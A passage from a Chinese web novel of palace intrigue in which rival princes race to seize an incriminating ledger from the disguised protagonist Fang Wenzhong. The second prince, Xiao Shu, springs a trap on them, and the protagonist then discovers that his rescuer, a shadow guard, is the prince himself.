方闻钟被他一把拉到阴影处,方闻钟也觉得好久没见到过贺璋了,听说贺大人不在京城,他就没多问。 现在才发现,贺璋是不是出事了,他脸色太严肃,白得不正常,身子也瘦弱了很多。 “贺哥哥,你怎么了?是不是出什么事了!” 贺璋紧紧握住方闻钟的手腕,强硬道:“时间不多,接下来我说你记着,转给二皇子。” “六皇子勾结外敌,不日敌国兵马就会进城,让二皇子想办法阻挠他,不要让这件事发生。” 方闻钟惊讶,他也知道了,可是,他说的太简单,这样有什么用呢?然后呢? 贺璋脸上全是焦急的表情,“只要不让他犯错,我想日后太子还是别人登基,都不会伤害他吧,闻钟,你能答应我吗,告诉二皇子,然后向他求求情。” “这件事只二皇子一人知晓一人阻拦就好,萧琛以后会安分的,我会守着他劝他,不要让二皇子再追究好吗?” 看着恳切的贺璋,方闻钟头一次觉得他有点天真,“六皇子,甘心吗?” 一个能出卖边关将士,能想到如此方法实现夙愿的人,甘心败吗? 再说,让二皇子一个人承担且背锅,方闻钟觉得他说不出这个口,求不了这个情。 虽然他尚不知晓,早知道六皇子打算的萧疏以后有什么动作,但他知道,萧疏很不喜欢六皇子,他不会轻易放过他的。 方闻钟不想骗贺璋,还劝他,“你不要管他了,贺哥哥,你不要参与进去!” 明白了方闻钟的拒绝,但这是贺璋能做的所有事了,他已经把消息传递出去了,接下来如何,全看命吧。 他垂下手,他又能陪萧琛,走多久,走多远。 和方闻钟匆匆分开,贺璋回到萧琛身边,看他作茧自缚,萧琛没发现他的异常。 而方闻钟,回去立马把这件事和贺璋的意思告诉了萧疏。 萧疏有点惊奇,“贺大人,倒是个可用之才。” 方闻钟捏着手,贺哥哥本来就很好,帮他进宫,也从来没多问过他的事,保护着他的安全,哪怕再忠于六皇子,也没有向六皇子多透露过一句他的身份。 但贺哥哥也不是事事都听六皇子的,就比如,他绝不会和六皇子一起叛国! “殿下,你怎么看?” 萧疏挑眉,“你觉得呢?” “我觉得你肯定不会让六殿下得逞,不会让敌军踏破皇城的,但是,”方闻钟直言不讳,“你是不是不想留下六殿下的命啊。” 萧疏没否认,笔被他随意挂上,“欢欢啊,其实,你也高估了我。” 方闻钟:“?” “现在不光是六弟的问题,太子近日来也不安分,频频派人去益州,你说益州还藏着什么让他如此挂心又能当做筹码的东西?” 私兵!方闻钟一惊!心下大叫。 “他们都想在父皇病重时趁乱而上,而且,六弟马上有兵马,而太子,恐怕也不简单吧,父皇又不怎么信任我,你说我一个人,如何有能力掣肘他们?” “把他们都赶出去?平定乱局?” “除非,除非我有什么东西能让父皇抛却太子和老六,完全信任我,把京中守卫禁军全交由我,我才有一战之力,欢欢,你说呢?” 最后一句话说完,萧疏的声音越来越低,越来越充满诱惑,他表面上一本正经地和方闻钟分析。 如何控制住,不让太子和六皇子最后哪一方胜利,登上皇位。 实则,他在敲打方闻钟的内心,我差的最后一步筹码,你愿意为我添上吗? 关于私兵和贡品的账本,你愿意给我吗? 关于私兵和贡品的账本,我要交给他吗? 方闻钟猝然对上萧疏的眼睛,萧疏已经垂眼,他在钓方闻钟,再用方闻钟钓更多人。 而方闻钟,眼神慌乱又镇定,最后,他异常严肃又坚定地问:“殿,殿下,我可以相信你吗?” 他问出了曾经萧疏问过的差不多的话,萧疏低吟,“你想相信吗?” 方闻钟重重地点头,他突然冲上前紧紧抱了萧疏一下。 然后抬头说:“殿下,你一定可以的!” 不可以,我,我把我的命都交给你。 第73章 惊天巨变:从“殿下”到“哥哥”。 “母后,事到如今你依然不愿意站在我这边吗!”太子在皇后宫里来回踱步,脸上全是焦急的表情,他想动用私兵逼宫!想让父皇立马传位于他。 可母后明知父皇情况不好,大限将至,未来谁坐皇位还不一定,现在依然事不关己地看着,不愿出手帮他。 皇后神色恹恹,淡然地拨弄着花枝,“你父皇自有安排。” “自有安排就是让萧疏日日近身!自有安排就是不把我这个太子放在眼里!母后,我在你们心中究竟是什么!我还是你们的孩儿吗?” 太子气愤不已,某些话,他已经想问很久了。 父皇为何会偏爱萧疏,对他弃之如履。 母后更过分,视而不见,从小到大就没有给过他好脸色。 他忍不住甩袖道:“这天下迟早是孤的!若兄弟之间必有一人坐上皇位那也只能是我萧源。” 太子眼神渐渐沉着狠厉,他一定会让他们刮目相看,让他们为轻视自己付出代价,最后他对皇后撒气道:“真不明白父皇是如何让你坐上后位的,儿臣瞧着,母后你可一点没有皇后的端仪和本分。” 皇后将手中的剪刀放下,一下拍桌子站起来,那修长的指甲第一次让太子觉得他的母后这么有存在感,这么有威严。 “本宫在这宫里没有一日一夜是心甘情愿的,当初是我要做皇后吗?是我要生下你吗?是我要一辈子困在这宫里吗?” “萧源,你是最没有资格替你父皇说这句话的。” 皇位上的那个男人,夺去了她的芳华,夺去了她的幸福,甚至让她的心上人枉死,家中为官者碌碌无为丢失前途,只因为他看上她了,就要夺过来,皇后无法与之为敌,但并不妨碍她在心里记恨一辈子,永远不可能偏向他。 说着爱她的男人,不过数月便又纳了顾氏嫡女为妃。 二殿下倒是比太子更让皇后心怡。 萧疏自然和皇后通过气,不然如何在后宫控制住皇帝的衣食住行,萧疏许诺她,事后会安排她假死放她出宫。 她在这宫里待了几十年早待够了,哪怕出去心上人已死,父母兄长均已年老蹉跎不敢认她,她依旧要出宫,只要有一丝机会,就比待在这牢狱里,哪怕做皇太后都强。 皇后不知二皇子的打算,太子想动私兵她也不会与萧疏说。 斗来斗去,烦透了。 萧疏找过皇后的事五皇子不清楚,但太子这次来五皇子可差不多都听到了,他看着太子看他的眼神,知道那是威胁和让他表态。 若是他不支持太子,知道太子在益州养私兵,并且私兵马上就要进都城的事,太子一定会让他先去死。 他的这些兄弟们可都不简单,这边五皇子刚答应太子,那边他的和亲王妃,便传来了六皇子的意思。 六皇子想夺权,并且,王子和公主都会帮他。 五皇子身形僵硬!这比太子养私兵还让他震惊,六弟竟然勾结外敌? 那边也是会要他命的,既然把一切说开了要拉他入夥,就没有给他拒绝的选择。 五皇子一时跟个墙头草一样,两边摇摆,两边都点头答应,虽然他自己也不觉得自己有多大本事。 另外,二哥可不安分不会冷漠旁观啊,他还得瞧瞧那边什么意思有何作为? 一场夺嫡之战一触即发,五皇子忙着在这战斗前夕,选择站哪一方势力。 老四那边就干脆多了,六皇子一提反了太子,他二话不说,都没弄明白六皇子哪来的势力和底气就兴冲冲地加入。 太子他早受够了,四皇子还做着梦,若真成事,越过老六坐上皇位的,也不一定不是他。 自从那天明白了萧疏的意思,知道二皇子想阻拦太子和六皇子,还差最后一点关键东西,方闻钟就暗地里打算,去把那本账本拿出来,交给萧疏。 账本是他来京城时,路过一片密林,他藏匿其中,躲过太子的人的追查,埋在一颗树下,这世上只有他一人知晓,所以方闻钟在萧疏面前找了个藉口,想自己去拿回来,再偷偷给萧疏。 现在六皇子马上带敌兵打进来,太子也是,而皇帝还信任太子属意他,这样他们打来打去哪方占便宜都不是萧疏和方闻钟想看到的。 所以,必须让太子的把柄现世,让皇帝心中对他有芥蒂,不信任他,才能出动萧疏平乱。 只有太子和六皇子在皇帝心中是一个地位,都是觊觎他皇位的反叛者,皇帝才会将禁军等筹码都交给萧疏,方闻钟这样想到。 临出宫前,方闻钟想起了贺璋,贺璋肯定在六皇子那里受苦了,那天见他才那般虚弱,方闻钟越想越气愤不已。 六皇子口蜜腹剑、卑鄙无耻,他一定要把贺哥哥也救出来。 萧疏站在窗外,知道方闻钟现在已经出宫,他去拿他想要的东西了,朝后一摆手,属下已等候他的吩咐,“放诱饵。” “是。” 每个人的选择,都是萧疏逼迫他们这么做的! 无论是太子和六皇子的心急,还是方闻钟的心甘情愿走入圈套。 城外兵马驻扎,纷纷藏匿,就待上面下命令,太子和六皇子宫中急匆匆地都做好准备,等待谁先第一个冒头,并且,都不知对方也做好准备。 两人眼睛都盯着至高无上的皇位,四皇子此时也在老六这里,五皇子不得不跟着太子,并且暗地里通过王妃给老六放话,他之后会帮他的。 老五心里装着大事,太子欲动私兵逼宫,六弟勾结外敌谋逆,怎么都没想防备着对方有后手,就冲着父皇去了。 而他们的二哥此时又安静得有些过分。 五皇子抖了一下身子,伏低做小,他什么都不知道,也没多大本事什么也不会做…… 兵马欲进城时,太子和老六才突然察觉对方的异动,此前有太多事夺去了自己的注意力,这下,两方差点碰上才让他们彼此心惊!对方竟然是这个打算! 可是没时间给他们思考调整了,突如其来的意外,让氛围更加如烈火烹油。 太子和六皇子就差在城外先打起来时,又一件事彻底点燃了这熊熊大火,又把他们的攻势齐齐改了个方向。 从二皇子宫里传出,那个一直跟在他身边的双性小太监,叫欢欢的那个,竟是益州知府方知府的儿子方闻钟!方家唯一的活口。 太子找了人这么长时间,都没杀了他,而他就藏在宫里老二身边。 而他手里就拿着方知府给他的账本,账本马上要交到二皇子手里了,下一步,二皇子会把他呈给皇帝!太子马上要完了! 六皇子心里本就不平静的水面被砸下一颗巨石。 什么,关于太子最大的把柄,竟然一开始就在他眼前,他触手可得,要是早知道太子屯私兵,把这个交由父皇,父皇还怎会一直属意他,废黜太子之位不监禁他都是好的! 但是现在也不晚,还来得及,六皇子气狠了猛甩了一下手,如果还有别的选择,他怎会走到这最后一步,让敌国兵将帮他夺位。 现在还有时间,他一定要先于萧疏拿到账本,还没到和父皇反目成仇的地步,届时,太子再也没有一争之地,萧疏也不会渔翁得利,他就是最大的赢家。 抱着这个侥幸心理,萧琛奋不顾身地想先去追击方闻钟,拿到账本! 太子也是这个打算,和萧琛同时掉头。 要是方闻钟把把柄交给萧疏,再交给父皇,他在父皇那里的信任就彻底没了,到时候父皇一纸诏书,萧疏兵不血刃就坐上皇位,他再动私兵,再逼宫就是谋反了!太子不愿意看到那个最坏的结果,当下想也不想,来不及在老六的虎视眈眈下直接进宫成事,就想拿到账本再说。 他怕他先被别人釜底抽薪。 双方牵制下,又双双得知方闻钟去了城外一座山上偷拿他藏起来的账本,顿时调转马头,齐齐追上山。 此时方闻钟重新爬上曾经高大密集的山林,没那么多害怕了,他心里想着的全是帮助殿下,萧疏一定会成功,手脚并用攀爬得毫不懈怠,并不知,他身后跟着可以将他踏成碎肉的千军万马。 出动几个皇子,上千兵马齐聚,方闻钟还停下来,擦了一下汗,回头看了看。 山脚下,又一批人马到来,属下跪在萧疏脚下,“殿下,饵已放出,对方倾巢出动。” “嗯,”萧疏拉了拉马缰绳,眼神冷漠嘴角带笑,“该我们去横插一脚了,驾!” 方闻钟忽然听到山下有马蹄声,似乎哒哒哒地迅速而来,他耳朵贴在地上,没听清,甩了甩头,可能是他的错觉,山林里起风了,风吹得树叶唰唰响,他听错了,方闻钟站起来,心忽然疼了一下。 他拧着眉头,没太在意,继续往当初藏账本的方向走去。 山林里的条条小路,在他脑海里足够清晰,所以他锁定了方向,但凡换一个人,或许不能那么快找到。 不小心踩在一个树干上绊倒了,方闻钟膝盖有点痛,他没有去拉开裤子看看,肃着脸快步往前走。 风吹树叶,密林里藏了很多人,而有一人先避开大家的视线,从树梢之上飞跃而过。 萧疏背着手,踩过一棵棵大树,他看到了六皇子的人,看到了骑着马跟在老六旁边的老四,还看到了一批穿着自己人衣服却是敌国将士的士兵,个个以一敌十,这会儿机警地边上山边防备太子这边。 太子亦是如此,他们都想先一步找到方闻钟,夺下账本,今天谁先拿到账本谁就是险胜,但同时又视对方为敌人,无论最后账本花落谁家,他们之间或许还有一场硬仗要打,但至少,在他们打起来之前,方闻钟的下场一定不会好过。 当萧疏越来越接近山顶时,两方对方闻钟的包围也越来越紧密,而在他们背后,又一个巨大的圈套套上来,今天,一个活人也飞不出去这座大山。 方闻钟挖着一棵大树下的树坑,忽然,把石头扔下,又将耳朵贴在地上。 这次,他详细听了好久,下一瞬,立马转身坐起来,脸上一片肃穆,眼睛迅速朝四周转着,手里已经将藏起来的刀拿出来握紧了。 貌似是他反应太强烈,但他明明听清了,有很多人,甚至好多匹马,正在悄声朝自己靠近。 为什么?他们是哪来的,谁的人? 难道他意外闯进了一个机密的事吗? 最坏的结果,是全冲他来的。 方闻钟心里一咯噔,脸迅速黑了,他三两下将账本掏出来,拍拍土赶紧塞自己怀里,然后趁机躲在一棵树上朝下面观望。 兵马真的越靠越近了,方闻钟甚至能看到远处树叶枝干间,零星闪过的半个人影,他有点怕,身体紧绷起来有点僵硬,难道真是来找他的? 不会是太子派来的吧! 方闻钟的心跳越来越大,他头迅速往后看,看自己能先藏到哪儿躲起来,或者,朝哪里跑。 可是一回头,方闻钟差点掉树下去! 他不死心地又往高里爬了爬,这下四周全看清了,方闻钟抱着一颗并不粗的树干,很多很多人,带着刀,骑着马,朝他走来,他们包围了他! 他哪里都逃不了,方闻钟能看到的人影越来越多,连太子的脸都快看到了,此时,其他异动早压下了树叶响声,他却觉他的心跳更大。 今天要栽在这里了,太子的目标是他吗? 账本还能完好无损地交给二殿下吗? 方闻钟想再往上爬一爬,哪里都逃不出去,他心底里突如其来的绝望轰轰烈烈,表面上看似乎还挺镇静,还渴求着只要他爬得够高,树叶挡起来,就不会被人发现…… 恰在此时,一只鸟被惊起从他面前振翅飞过。 一个人影突然出现飘落在他眼前。 萧疏站在树下,抬起头来。 “殿下!”方闻钟惊讶地大喊,刹那间的高兴让他差点直接跳下去,很快像个兔子一样攀爬着树枝飞速往下滑,他一直看着萧疏,眼睛没离开过他,好像萧疏来了,他突然就不怕了,也不用担心了,更丢掉了自己的脑子,接下来怎么办交给殿下就好。 方闻钟落在地上,几步朝萧疏跑过来,兴奋地把怀里的账本交给萧疏,“殿下,这个给你,有了它,你一定会拿下太子的!” 六皇子也就不足为惧。 他期盼地看着萧疏,奇怪的是,今天萧疏的反应平平,没有夸他,没有奖励他,方闻钟也忘了问他怎么突然跟着自己来山上了,这么巧,还这么快找到了他。 萧疏把账本翻开看了看,然后有点嫌脏,只是卷在手里握着。 方闻钟乖乖站在原地没动,实际上,他很紧张,在轻微地发著抖,他后知后觉,现在太子很快要带那么多人包过来了! 他和二殿下要往哪里跑! 太子不会提前知晓他想取账本交给萧疏,从而在今天要杀了他们以绝后患吧,那样他们可太危险了。 方闻钟凑近,拉住萧疏的袖子,小声说:“殿下,我们先离开这里!太子马上要来了!你来的时候看到他们了吗?” “嗯,好,”萧疏简单说。 方闻钟抬头看了眼淡淡的萧疏,萧疏拽起他胳膊,“跟我走。” 他踉跄着跟上二殿下的步伐,被拉着跑路。 可是很快,就发现他们根本跑不出去,哪边都有人,好像就在几十步之远,他们逃窜了好几个方向,最后方闻钟被萧疏拽着胳膊,还在那一棵大树下转圈。 萧疏甚至带着他,飞到树上,方闻钟紧紧抱住萧疏的腰,可很快,萧疏还是带他下来,落地,他们从上面也走不掉。 怎么办?方闻钟怕得要死,抓着萧疏的手却从未松过,他正在想,要不要他和殿下分开跑,引开人,正好账本也交给萧疏了,可突然,萧疏转身,回头。 方闻钟刚好抬头,就看到萧疏绝情地拉开他的手,握住他的肩膀把他往远里推了点。 耳朵里,似乎敌人的声音已经近在眼前,而他却彷佛还听到了一句话:“我先走,”是他最熟悉的人用最动听的声音说出来的。 下一瞬,他被扔在原地,而萧疏,他一抬头,人已经不见了。 直到背后的人围上来,直到听到太子恶毒的声音,方闻钟才回过神来,才慢慢反应过来,刚才,是殿下抛下他一个人先走了吗? 他傻乎乎地转头,对上眼睛冒火要吃了他的太子。 再一转头,看到六皇子和四皇子。 方闻钟都在考虑一个问题,幸好殿下刚才走了,他带走了账本,再犹豫一息,再带着他拖延一会儿,就都走不掉了。 可是殿下只说了三个字,就把他丢给这么多坏人了吗? 方闻钟抬起手掩住自己簌簌落泪的眼睛,假的,都是假的,萧疏从来没来过,也没有带他试图逃过…… 但是账本又交出去了,他亲手给他的。 他还会回来找自己吗? 太子和六皇子都恨不得弄死他,方闻钟只需几个对视,就看清了他们的恶意,他今天的下场九死一生,殿下还会来,为他冒险吗? 方闻钟既希望他来,又怕他来,或者,潜意识里已经知道,萧疏得到了他最重要的东西,剩下的他,没那么大的本事,出动他再回头。 方闻钟眼睛发红,沉默地看着意料之外又没那么出乎意料的六皇子等人。 他们也来了,六皇子的眼神如一条条有剧毒的毒蛇一样缭绕他周身,他坐下的马,不安的哒哒走动,四皇子有些情况外,看着他,又看看对面的太子。 他们都来了!都来抢账本,方闻钟从接下来他们的对话中猜出。 太子和六皇子都对对方的兵马表示了惊奇和愤怒,究竟心底里哪一方更重只有他们自己知道。 方闻钟还从他们的对话中猜出,他们都是之前猛然得知自己上山来取账本的,而现在都对它势在必得,僵持而对抗,方闻钟一愣,他们为什么会都知道? 他本以为,是太子查到了他的身份,才在今天抓到了他的动向! 六皇子是意外跟着太子来的。 谁料,他们几乎是同时从外得知,而且,都没有考虑过或提起过这个消息来源是谁? 是谁透露给他们他在这里,账本,太子最大的把柄在这里? 从而引得他们带着所有的势力齐聚在这里,而没有在大皇子进京前,先一步剑指皇宫…… 还能有谁…… 方闻钟突然觉得大风刮得他冻僵了,心都不会跳了,除了萧疏!除了算计所有掌握所有的二殿下,还有谁! 原来,今天一切都是他的计画,是他料到他来这里的,或者说他在监视他,跟着他,再利用太子对账本,对‘方闻钟’这个身份的介怀,必然会来这里。 六皇子,肯定也想拿到账本,不通过动用敌军就将太子打落马,所以也会跟上来。 他们都中了二殿下的圈套,所有人都是被萧疏引到这里来的! 萧疏既然这样做了,他还缺什么后手吗? 方闻钟挪动了一下僵硬的脚踝,太子和六皇子对峙完,都将手段用在他身上,“方闻钟,方知府的儿子,你可让我一通好找啊。” “藏得够深,我二哥知晓你的作用吗?”六皇子恐吓道。 “交出账本!” 他们在双方势均力敌的情况下不会让兵马上来抢,但不妨碍他们本人折磨方闻钟。 “啊!”方闻钟被搜过身,他不讲实话,鞭子抽在自己身上,方闻钟被马拖着在地上摩擦跑。 他下半身拖在地上,胳膊快拽断了,脖子里青筋起来。 “账本被你藏在了哪里?” “躲了这么久,今天你是死定了,就看你想体面地去地下看你的爹娘还是被我弄成碎尸万段再去见他们!”太子围着方闻钟转圈。 “你瞒身份可瞒得够紧啊,”贺璋也骗了他,六皇子道:“双性人?”他笑了一下。 “我有的是办法让你痛不欲生,识相点,将东西给我。” 方闻钟在萧琛的这句话后,以及他接下来可能的动作和惩罚,才开始恐惧,不知所措。 “抓住他!” “上来!” “不,不要!”方闻钟剧烈地扭动,“殿下,殿下,”他突然喊起来,喊萧疏,他知道,萧疏做出今天这一切手段,必然会带更多人上来围攻太子和六皇子。 所以他快带人来了吗?快要救下他了吗? 方闻钟躺在地上,透过密密麻麻的人群,希望看到希望。 “殿下!萧疏!”他开始哭。 一声萧疏倒让太子六皇子惊讶,可紧接着,更加不择手段,因为萧疏是他们共同的敌人。 “殿下,”方闻钟求救的声音越来越小,哭得却越来越汹涌。 他明白了,不管萧疏刚才是因为太危险,才想先抛下他脱身,事后会带人追上来,还是他只想先拿到账本,不想动太子和六皇子。 他的举动,和因为他而来的太子六皇子,都在萧疏的猜测范围内。 方闻钟忽然没那么确定了,他等的人,还会出现吗? “殿下!”他叫得撕心裂肺,整个人扑在地上,被拖拽着往人堆里去,稚嫩的胳膊露出来,现在全是摩擦的红痕和陌生人捏起来的青印。 方闻钟的视线不知是被泪水模糊了,还是被血丝淹没了,他在心里滑过最近的一切,他和萧疏的相处。 他想偷偷拿账本给他,他以为萧疏很需要。 他以为他不知自己方家独子的身份。 他以为他不知道‘方闻钟’和太子的仇恨。 所有一切都是他以为,实际上萧疏早查清了他的一切,所有尽在他算计中。 他那么聪明,肯定也知道他将账本藏起来,他想帮他,可萧疏明显有更重要的事要做,他不仅要东西,还要利用他算计太子六皇子等人,他是他棋局上一颗重要的棋子。 直到今日方闻钟才勘破。 如今他利用完了,便被丢弃了。 他的下场,他浑不在意,试图救,救不了,便算了。 方闻钟说服了自己,二皇子对他,从未有过一丝一毫身体欢愉之外的情谊吗? 应该是的,他是天潢贵胄,距离帝位一步之遥,而他只是区区一个太监,哪怕双性人,都不止他一个…… 方闻钟挣扎的动作慢慢变小,连哭也快哭不出来,他恨萧疏,恨他明明对他没感情,还要骗他,还要说些似是而非的话,哄他开心,让他放下戒备,心甘情愿为他所用。 其实更可笑的是自己不是吗? 爱上一个男人,一个皇子,一个城府极深,白纸上两字‘欢欢’,书桌前一个对视,就叫他沉醉其中,不知天高地厚妄图揣测他心意。 萧疏负他。 方闻钟呕出了一口血。 方闻钟悲痛欲绝之时,另有两人慢慢靠近,一人在暗,贺璋等萧琛带人都走后,才悄悄跟上来,慢慢爬上山,他不知道会发生什么,躲起来偷窥。 一人在明,‘萧疏’气定神闲地走出来,而在他身后,很快,太子六皇子都发现他们身后全是数不清的禁军。 今天他们的私兵和伪装的敌国兵马,喂这些禁军都不够喂的。 整个山林被强行按下中转键,小兵们慌乱,三位皇子也大差不差,纷纷对‘萧疏’的出场表示震惊。 他们之后还有幕后黑手,六皇子鞭子猛甩了一下马,太子和四皇子也不安地看着突然出现,带禁军来的二哥。 方闻钟被扔在地上,头抬起来看向那个陌生的男人。 ‘萧疏’笑了一下,一一扫过他们,“父皇要是看到这一幕,一定不会责怪我接下来的动作,”三个儿子个个都想篡位,不教训他们说不过去,禁军在‘萧疏’这句话后,全身散发出的战意和杀气,更是上升一分。 萧琛太子等人都因二皇子的言语和行为,感到心虚气短,色厉内荏。 情况越来越混乱,怕是不能善了了。 萧琛忽然想到拿方闻钟威胁‘萧疏’,方闻钟被一把抓过去,根本来不及反应,人已经架在刀下,萧琛以为,拿方闻钟逼迫‘萧疏’,起码会让‘萧疏’反应一瞬,再来破局,再找账本。 谁知,‘萧疏’不为所动,下命令的动作未迟疑过一分。 萧琛都愣了一下,而他抓住的方闻钟,紧紧闭眼,一滴泪滑下来,他忘了说话,‘萧疏’再出现,方闻钟没有发出过一点声音。 “既然如此,那你便去死吧!”太子忽然持剑朝方闻钟而来,方闻钟立马死了最好,谁都别想拿到账本,谁都别想靠这个赢下他! 剑尖就要朝着方闻钟的脖颈而去,方闻钟抖动着,脖子却高高昂起。 他似乎料定了自己的死局,似乎已经没有期待,没有留念,可该害怕还是会害怕,该痛苦还是该痛苦。 就在他马上要死在太子剑下时,二皇子都没有动过一寸脚步。 连萧琛也放弃了拿他威胁二哥,松开他的脖颈,方闻钟落下去,须臾之间。 方闻钟已经感觉到了寒意,已经感觉到了剑快划破他的皮肤,刺穿他的血肉,他整个身体被侧边突如其来的力道击飞出去,一个黑色人影挡在了剑下。 替他挨下这一刀。 暗卫一手抓住左胸口的剑,鲜血染红了他的手,他一点一点慢慢拔出来。 抬头,方闻钟看到了那双异色瞳眸。 那双眼睛里,似乎有很熟悉的热度,似乎不似以往平淡,多了安抚和镇定,他转头看他了。 方闻钟从地下爬起来,跪着往他那边跑去,暗卫单膝跪地,太子和六皇子都被他震开。 “哥哥!” 方闻钟要扑向他。 第74章 戳破身份 兵马打起来,场面一片混乱,禁军乱中有序,几人合围很快击杀了他们眼前的叛军,巨大的包围圈像绞肉机器一样屠杀,一点点缩小,而被围其中的人,无论是私兵还是敌国兵马,都尽显慌乱和恐惧。 其实包围圈还很大,最中间的太子和六皇子等人就都有发挥机会,‘萧疏’眼睁睁看着手下对他们毫不留情,两位皇子艰难地阻挡着,还要抽空骂他,“你敢全杀了我们吗!父皇一定不会放过你的!”太子仍不死心,哪怕今天‘萧疏’守株待兔带兵来了,他还只当父皇知道了他们谋逆,只想抓住他们,没想下死手。 可‘萧疏’明显阴奉阳违,落在他手里,他会不会不顾父皇的旨意,直接杀了他们? ‘萧疏’眼里的杀气和玩弄太明显,他看几个兄弟都像看死人,这才叫太子有些着急,害怕他又发疯。 六皇子却不这么想,‘萧疏’的突然出现,在他看来不是被父皇早一日发现,而是‘萧疏’早有算计,早有筹谋,是他棋高一着把他和太子都蒙蔽过去了。 一想到这里,六皇子就止不住地呕血,他以为最大的对手是太子,尽管对二哥数次试探,可一次次又轻视了他,如今才知,二哥躲在背后有多可怕…… 他是不是早发现了太子的私兵,是谁让他和太子斗起来,然后两败俱伤的?是谁逼他勾结外敌饮鸩止渴?边关的胜利,又是谁在从中插手? 越想明白二皇子早早知道一切且静看他们争斗,直到今天才把所有人引出来一网打尽,萧琛就越不甘决绝。 他不想向‘萧疏’求情,形势对他们很不利,绝望的萧琛手下的剑却越锋利,他砍碎了无数人,恨不得食其肉啖其血的目光,却一直死死盯着二哥。 太子和萧琛完全没有交流,可这一刻,心照不宣地团结起来,一起和‘萧疏’打,因为在‘萧疏’眼里,他们都是叛军。 这边方闻钟立马将暗卫扶起来,趁乱躲在后面靠在一棵树上坐下,暗卫受的伤不轻,长剑直穿他胸口,哪怕方闻钟尽力替他捂着,很快,鲜血还是滚烫了他的手指。 方闻钟脸白透了,他惊惧地抬头望暗卫,“哥哥,”一开口,才知道嘴巴里像砾石滑过,沾着血缠着痛,方闻钟眼泪像断线的珠子,关心地问暗卫,“你怎么样?” 刚才要不是暗卫突然救下他,他就死在太子手里了。 暗卫哥哥出现得太及时,可叫他也躲不了太子的剑,现下那边打起来,他们两人躲在这里竟无人问津。 暗卫转头看方闻钟,他银灰色的眸子很温暖,现在竟还能笑得出来,“无事。” 如此说着,却咳出了一口血,方闻钟整个跪爬在他怀里,颤抖着抱着他,顾不上自己也满身碎伤,顾不上自己比暗卫看起来糟糕透了,伏在他身前,一手捂着他胸口一手替他擦嘴边,他们距离很近,就差唇齿相贴,方闻钟替他舔掉嘴边的血。 “你怎么……”来这里? 方闻钟刚想问,就见暗卫哥哥眸色一深,手边随意一颗碎石子,被他弹射到那边去。 方闻钟转头,看到马上的四皇子被突然在手腕上打了一下,劈向‘二皇子’的剑,顿时歪了几分。 原来是四皇子看不惯‘萧疏’一副运筹帷幄如看蝼蚁一般的眼神,在太子和六皇子被人包围住时,他突出重围,一刀砍下身边禁军的脑袋,指挥马上前去斗‘萧疏’。 ‘萧疏’不落下风,可不知为什么,兴许今天四皇子自知后果凄惨,因此使出浑身解数再也不管不顾,竟隐隐打得‘萧疏’有些还不了手。 而且‘萧疏’不敢真杀了四皇子。 眼见那边危险,暗卫的从中出手顿时解了围,暗卫扔过石子后,回神来问方闻钟,“你刚说什么?” 方闻钟愣了一下,脑子像飘到了九霄云外,那边是战场,因他而起,后来却与他无关,这边是亲近之人,本与他无关却在生死关头舍命相救。 他看看暗卫,再转头看看那边的‘萧疏’。 方闻钟从一开始,就意识到重新出现的‘萧疏’不是二殿下,应该是他的替身,可他再也没心情想了,真正的殿下在哪里? 直到此时此刻,看着暗卫一直关注那边的余光,看到假‘萧疏’时不时朝他们这边投来关切询问的目光,他突然醍醐灌顶,一个可怕又令他神魂颠倒的猜测浮上心头。 方闻钟没叫人察觉到他突然的异常,指甲死死嵌在手心,暗卫哥哥又询问了他一遍,他忽然靠近暗卫,仔细观察他。 他身上的味道是那么令人熟悉心安,他的眼神尽管被银灰色盖住了,可藏不住其下的感情,也或许是,他不想藏了。 方闻钟哭着把头抵在暗卫肩膀上,突然“哇”一声大哭了起来。 暗卫一惊,方闻钟已经毫不讲理地开始抱怨起来。 “你怎么才来,你为什么要把我送到二殿下身边?” “你知道吗,他对我不好,他利用我,他待我就像一颗棋子,我本来是想他好的,我想把我最重要的东西偷偷留给他,这是我爹爹临死前给我的,可我却不知道他早清楚,甚至早看透了一切,就等着我按他的心意行事,还帮他把其他皇子都引来。” “他不要我了,他先跑了,我好害怕,哥哥,我怕我死了,我还怕从头到尾我就是个笑话,二殿下根本从未喜欢过我,只是为了骗我强迫我。” 一声声哭诉听得暗卫心揪起来,他语气里是自己都没察觉到的轻柔和慌乱,“那我们再也不来这里了好不好,你看,太子那边很快会落败的,二殿下也算为你报了仇。” “你还爱他吗?”暗卫问。 因为方闻钟忽然吻上了他的唇。 “爱,”方闻钟说。 暗卫很不解,心下烦躁。 方闻钟起身,直视着他,“因为我突然发现,他哪怕表面上从未跟我说过一句实话,私下里,肯定是爱护我的,他愿意为了我去死。” “你说对吗,萧疏。” 萧疏被钉在原地,四肢动弹不了,只有眼神里闪过无数表情,终于,他嗤笑了一声,改变声线,“你是怎么知道的?” 说这句话时,他坐起来,再也不避讳,直接将方闻钟强拥在怀里。 听到他的承认,方闻钟才像尘埃落地了一样敢松懈下来,随之而来的,是无数过往场面回忆起来的轰动,是得知被舍弃后,又被保护宠爱着的大悲大喜。 原来暗卫哥哥,真是萧疏。 是一直伪装的二殿下,是他一人分饰两角。 他何德何能,能劳驾二皇子,高高在上的二殿下,一边表面上宠幸他算计他,一边暗地里默默陪伴守护,甚至不惜自己受伤。 他是丢下了他,可又担心他,换个身份,继续来护他周全。 方闻钟都不敢想,哪怕突然得到萧疏的答案,这个事实还是让他觉得荒诞,难以置信! 二殿下,和暗卫,是同一个人? 怎么会呢? 暗卫从第一次出现在他面前就叫破了他的身份,他在很多个夜晚听他说话,陪他保护他,任他差遣,他让暗卫去保护贺璋,暗卫就去,他吹哨子或捏珠子唤他,暗卫就来,方闻钟起先将他视为一个下属,后来才当做哥哥。 这些都说明了暗卫在他这里,是低于他自己的。 可是二皇子呢?他跪在他面前都来不及,他会恐惧,会害怕,会求饶。 更会在他们之间的欢愉中,享受却不敢享受,始终存着伺候人的卑微心理,如此差距之大的两个人,怎么会是同一个人扮演的呢? 因为不敢想,所以叫方闻钟忽略了很多疑点和相似之处。 暗卫再掩藏,还是藏不了他一身淩然的气势和无所顾忌的话语,又怎么不会是一个人呢? 暗卫在这宫里来去自如,他不怕皇子不避天子,有和二殿下一样的力压群雄的功夫,有一样睥睨天下的态度,他哪里像一个普通暗卫啊? 对方闻钟在宫里的情况瞭如指掌,问起名字,除却“随便”,连编都懒得编。 而二殿下呢,早早就怀疑他进宫的目的和他的身份,甚至在方闻钟持刀逼问他时已经快戳破了,可事后殿下没再追究,不细问一句,不是说明他早清楚方闻钟身上发生的事吗? 